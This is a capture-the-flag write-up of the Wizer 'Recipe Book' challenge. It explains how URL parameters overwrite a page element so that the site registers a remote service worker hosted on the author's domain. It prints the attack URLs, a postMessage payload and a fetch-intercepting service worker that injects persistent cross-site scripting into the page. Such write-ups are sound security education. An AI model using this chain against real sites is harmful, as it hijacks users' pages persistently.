Wizer CTF - Recipe Book - Alert and Beyond!

My writeup of the Wizer CTF Recipe Book challenge.

One of my favorite Wizer CTF challenges was the Recipe Book challenge. You were served a quite small Node.js web app where you had to pop a JavaScript alert through postmessages and web workers. Although it seems like a weird combo, it was quite realistic and interesting!

I actually decided to go a step further than just the alert through postmessages, and eventually got full control over the content of the page.

Have fun reading my writeup!

Solving the challenge

Recon

We were first met with an app.js file in the challenge dashboard:

const express = require('express');
const helmet = require('helmet');
const app = express();
const port = 80;

// Serve static files from the 'public' directory
app.use(express.static('public'));
app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", ],
        styleSrc: ["'self'", "'unsafe-inline'", 'maxcdn.bootstrapcdn.com'],
        workerSrc: ["'self'"]
        // Add other directives as needed
      },
    })
  );

// Sample recipe data
const recipes = [
    {
        id: 1,
        title: "Spaghetti Carbonara",
        ingredients: "Pasta, eggs, cheese, bacon",
        instructions: "Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.",
        image: "spaghetti.jpg"
    },
    {
        id: 2,
        title: "Chicken Alfredo",
        ingredients: "Chicken, fettuccine, cream sauce, Parmesan cheese",
        instructions: "Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.",
        image: "chicken_alfredo.jpg"
    },
    // Add more recipes here
];

// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) => {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
    next();
});

// Endpoint to get all recipes
app.get('/api/recipes', (req, res) => {
    res.json({ recipes });
});

app.listen(port, () => {
    console.log(`API server is running on port ${port}`);
});

Looking through this code, nothing particularly stands out as of now. It seems to be serving a simple web app with some Content Security Policy (CSP) rules.

When we visit the challenge website, however, we are greeted with what seems to be a recipe book.

Looking at its source, we find a second app.js file. Because it's quite long, I've snipped it down to the most important bits for this challenge:

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }

    // Get the mode element
    const modeElement = document.getElementById('mode');

    if (modeElement) {
        // Get the background color element
        let backgroundColorElement = document.getElementById('light');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;
        }

        backgroundColorElement = document.getElementById('dark');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;

            // Apply CSS inversion if it's a 'dark' mode
            document.getElementById('filter').style.filter = 'invert(100%)';
        }
    }
});

// Fetch and populate recipes when the page loads
document.addEventListener('DOMContentLoaded', () => {    
        // Service worker registration
        if ('serviceWorker' in navigator) {
            const sw = document.getElementById('sw').innerText;
            navigator.serviceWorker.register('sw.js?sw=' + sw)
                .then(registration => {
                    console.log('Service Worker registered with scope:', registration.scope);
                })
                .catch(error => {
                    console.error('Service Worker registration failed:', error);
                });
        }
});

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});
  

The first important function in this JavaScript file takes two GET parameters, mode and color, which it uses for setting the theme of the page. These two parameters get reflected in the page's DOM as an HTML element ID and the text content of that ID.

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});

The second important function of this app.js file registers service workers on the page. Service workers are scripts that run in the background of a web browser, independent of web pages, enabling features like push notifications, background sync, and caching to enhance the performance and user experience of web applications.

The page determines which service workers to load depending on the inner text value of the HTML element with the ID of "sw". It then tries to register that service worker. Please note the sw.js reference for later. Can you see what we're going with this yet? ;)

// Fetch and populate recipes when the page loads
document.addEventListener('DOMContentLoaded', () => {
		// [snip]    
        // Service worker registration
        if ('serviceWorker' in navigator) {
            const sw = document.getElementById('sw').innerText;
            navigator.serviceWorker.register('sw.js?sw=' + sw)
                .then(registration => {
                    console.log('Service Worker registered with scope:', registration.scope);
                })
                .catch(error => {
                    console.error('Service Worker registration failed:', error);
                });
        }
});

Then, at the end of the script, we have three short lines which come in clutch later in this challenge:

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

This part of the script listens to whenever a postmessage is made on the recipebook broadcast channel. It then pops an alert with the contents of that postmessage request.

Lastly, we have the sw.js file.

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

This file dynamically loads in a service worker, from a GET parameter which gets defined by the app.js file on the page.

Initial idea

When participating in CTFs, I like to backtrack from what the goal is to the start of the challenge. Our goal is to pop an alert with the text "Wizer".

One thing that almost instantly attracted my attention was the postmessage listener we found in app.js.

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

If we can somehow send a postmessage request on the recipebook channel, we're able to alert the "Wizer" string!

However, this CTF requires you to enter a single URL in the solution, with a bot that'll visit that URL you posted. Meaning we can't have multiple tabs open to trigger an alert. We somehow need to trigger the alert from visiting a single URL, like a user clicking on your link. But how?

Tracking back, we might be able to exploit the dynamic loading of service workers!

importScripts(`/${getParameterByName('sw')}`);

sw.js

This sw.js script gets registered from app.js, which takes the innerText value from the HTML element with the ID of sw.

const sw = document.getElementById('sw').innerText;
navigator.serviceWorker.register('sw.js?sw=' + sw)

Does this ring any bell yet? Do you remember the function that sets the ID and innerText values for the theme?

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});

Here you see the mode parameter gets set as the ID of an HTML element, and the color parameter gets set as the text content of that ID.

https://events.wizer-ctf.com/?mode=customID&color=textValue

Chaining everything together

Since service workers get registered from the HTML element with an sw ID, we can overwrite the default service worker on the page.

https://events.wizer-ctf.com/?mode=sw&color=test12345.js

Looking in the browser's developer console, we can see the browser is unable to register the service worker because it doesn't exist:

Can we somehow call a remote JavaScript file on which we host the postmessage script? Yes, we can!

Looking back at sw.js (the script that dynamically registers the service workers), we see that it tries to import a service worker starting with a / in the path:

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

We could abuse this by appending another / after the first slash, which JavaScript automatically translates to a domain name. Meaning that we can register a remote service worker!

I hosted a JavaScript file on my domain, having the following contents (make sure the JavaScript file is hosted on a webserver with HTTPS enabled; otherwise, the service worker won't register):

const channel = new BroadcastChannel('recipebook');
channel.postMessage({ message: 'Wizer' });

0ay.nl/assets/js/test.js0ay.nl/assets/js/test.js

Let's try to register this service worker with the exploit we found on the website:

https://events.wizer-ctf.com/?mode=sw&color=/0ay.nl/assets/js/test.js

Boom! When visiting the URL, an alert window pops up with the "Wizer" string! We did it!

Summary

We exploited a vulnerability in the website by crafting a malicious URL with two GET parameters, mode and color. These parameters were used to set an HTML element with the ID specified by the mode parameter, and the content of the element was set according to the color parameter.

Using this mechanism, we overwrote the HTML element with the ID "sw", which was used to register a service worker, with a JavaScript file we controlled. Our JavaScript file sent a postMessage request, which the web app listened for, triggering an alert with the contents of that message. This successful exploit allowed us to solve the challenge by popping an alert with the desired content.

Beyond the challenge

XSS

Although we popped an alert on this web app, this doesn't mean we have full Cross-Site Scripting. The alert was able to fire thanks to the postMessage listener, which listened to any incoming postMessage, and would send out an alert when a postMessage was received.

This, of course, doesn't have any real-world malicious implications. So how can we abuse this? Let's find out!

The capabilities of Service Workers

Unfortunately, according to the Mozilla docs, service workers don't have access to the DOM of the webpage. Which is a bummer because we could've written some of the DOM over to include our custom JavaScript, which would've given us full JS access to the page (including the DOM).

Although service workers can't access the DOM, they have some other nifty features! We can create an event listener for fetch, and even better, we can intercept and change the response of the fetch! This way, we can execute any JavaScript on the page's DOM.

PoC||GTFO

Let's create a proof of concept!

Mozilla has all the service worker APIs nicely documented, just like the event.respondWith() method.

On my domain, I've hosted a JavaScript file with the following contents:

this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("<script>prompt('This is a custom prompt! ' + window.location.host)</script><h1>Hi! This response was intercepted and replaced with a javascript payload!</scrip>", {headers: {'Content-Type': 'text/html'}}));
});

0ay.nl/assets/js/fetch.js

This service worker will listen and wait until a fetch event happens, and when it does happen, it'll intercept the request and change it up for a very simple Cross-Site Scripting payload. Let's see it in action!

  1. First, visit the malicious link we made, but instead of test.js, use the fetch.js file, like: https://events.wizer-ctf.com/?mode=sw&color=/0ay.nl/assets/js/fetch.js
  2. Nothing appears to happen; this is because the service worker got registered after the fetch requests happened. Refresh the page!
  3. A prompt JavaScript window appears, proving our JavaScript code execution!

Clicking on "Ok" or "Cancel" will print out the H1 tag on the screen:

Conclusion

We've done it! We escalated the installation of service workers from a simple alert to full Cross-Site Scripting on our website. And because this is done through a service worker, the XSS is quite persistent, even if you close and reopen your browser! The possibilities are endless now, as you can display and execute anything on the page you want!

Thank you Wizer Training for hosting this CTF, and PinkDraconian for creating this amazing challenge! I learned a lot from the challenge, writing the write-up, and going further than the flag!

Thanks.

  • Yoeri Vegt